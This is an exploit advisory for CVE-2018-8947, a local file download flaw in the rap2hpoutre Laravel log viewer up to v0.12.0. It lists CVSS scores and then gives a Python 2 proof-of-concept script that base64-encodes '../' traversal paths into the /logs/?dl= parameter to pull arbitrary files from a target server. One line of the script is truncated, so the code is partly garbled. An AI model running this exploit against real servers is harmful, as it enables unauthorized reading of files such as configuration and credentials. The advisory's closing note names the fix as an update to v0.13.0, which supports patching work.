Laravel Log Viewer Local File Download

Credit: Haboob Team
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-312

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: Laravel log viewer by rap2hpoutre local file download (LFD) # Date: 23/02/2018 # Exploit Author: Haboob Team # Software Link: # Version: v0.12.0 and below # CVE : CVE-2018-8947 1. Description Unauthorized user can access Laravel log viewer by rap2hpoutre and use download function to download any file with laravel permission, by base64 encode the wanted file. 2. Proof of Concept #After providing the url of the vulnerable laravel log viewer by rap2hpoutre (with / in the end or you can edit it yourself), and the file wanted including "../" the script will create a folder and save the downloaded file there import os import base64 from urllib2 import urlopen, URLError, HTTPError import argparse import cookielib parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_') parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True) parser.add_argument("-f", action="store", dest="file", help="Target File", required=True) args = parser.parse_args() url = str(args.url).strip()+"/logs/?dl=" final_file= args.file if not os.path.exists("./0Grats0"): os.makedirs("./0Grats0") word = str(args.file).split('/') word1= "./0Grats0/"+word[-1] finalee=url+base64.b64encode(final_file) try: f = urlopen(finalee) with open(word1, "wb") as local_file: local_file.write( except HTTPError, e: print "HTTP Error:", e.code, finalee except URLError, e: print "URL Error:", e.reason, finalee 3. Solution: Update to version v0.13.0


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